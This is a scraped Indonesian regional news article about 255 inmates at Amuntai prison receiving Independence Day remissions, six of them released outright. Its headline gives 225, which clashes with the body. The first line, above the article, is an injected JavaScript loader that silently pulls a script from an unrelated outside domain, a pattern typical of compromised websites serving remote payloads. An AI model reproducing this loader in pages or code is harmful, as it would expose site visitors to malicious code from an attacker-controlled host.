(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

225 Napi Lapas Amuntai Dapat Remisi, 6 Bebas Langsung


AMUNTAI, Sebanyak 255 orang Narapidana Lembaga Pemasyarakatan (Lapas) Kelas IIB Amuntai mendapatkan remisi, dan 6 orang langsung mendapatkan remisi bebas dalam rangka HUT Kemerdekaan Republik Indonesia ke-73.

Upacara peringatan HUT Kemerdekaan RI ke-73 juga berlangsung di dalam lingkungan Lapas Amuntai. Peserta upacara warga binaan Lapas, tahanan dan para pegawai Lapas, dihadiri Ketua DPRD HSU H Sahrujani, Kodim 1001 Amuntai, Kemenag HSU serta sejumlah undangan lainnya.

Wakil Bupati HSU H Husairi Abdi membacakan amanat tertulis Menteri Hukum dan HAM RI Yasona Laoly mengatakan, Proklamasi Kemerdekaan 17 Agustus pada tahun 1945 merupakan puncak pergerakan kemerdekaan bangsa Indonesia, setelah berabad-abad mengalami pahit getir dalam himpitan belenggu kolonialisme. Gelora semangat untuk mengisi kemerdekaan tentunya harus menjadi milik segenap lapisan masyarakat, tak terkecuali bagi warga binaan pemasyarakatan.

Meskipun secara hukum mereka dirampas kemerdekaannya namun itu hanyalah kemerdekaan semata karena sesungguhnya mereka tetap memiliki kemerdekaan untuk terus berkarya.


“Beberapa kegiatan yang dilakukan para narapidana diantaranya adalah kegiatan pengabdian masyarakat yang dilakukan pasukan merah putih narapidana di Lapas-Lapas seluruh Indonesia,” katanya.

Pemberian remisi saat ini diatur oleh Peraturan Menteri nomor 3 tahun 2018 memiliki mekanisme yang sangat transparan dan sudah berbasis sistem yang mendayagunakan teknologi informasi. “Digitalisasi pemberian remisi kita dorong menjadi upaya untuk memangkas proses birokrasi berbelit yang sarat dengan peluang-peluang transaksional,”  pungkasnya.

Kepala Lapas Kelas IIB Amuntai Mohamad Yahya SH MAP mengatakan, pada momentum HUT Kemerdekaan RI ke-73, dirinya mengucapkan terima kasih kepada dukungan penuh dari pemerintah daerah kabupaten HSU selama ini. Pemberian remisi kemerdekaan pada tahun ini diberikan kepada 255 orang warga binaan Lapas, dan sebanyak 6 orang langsung mendapatkan remisi bebas.

“Sedangkan remisi sendiri yang diberikan bervariasi dari potongan minimal 1 bulan sampai maksimalnya 5 bulan,” kata Kalapas. (dew)

Reporter : Dew
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.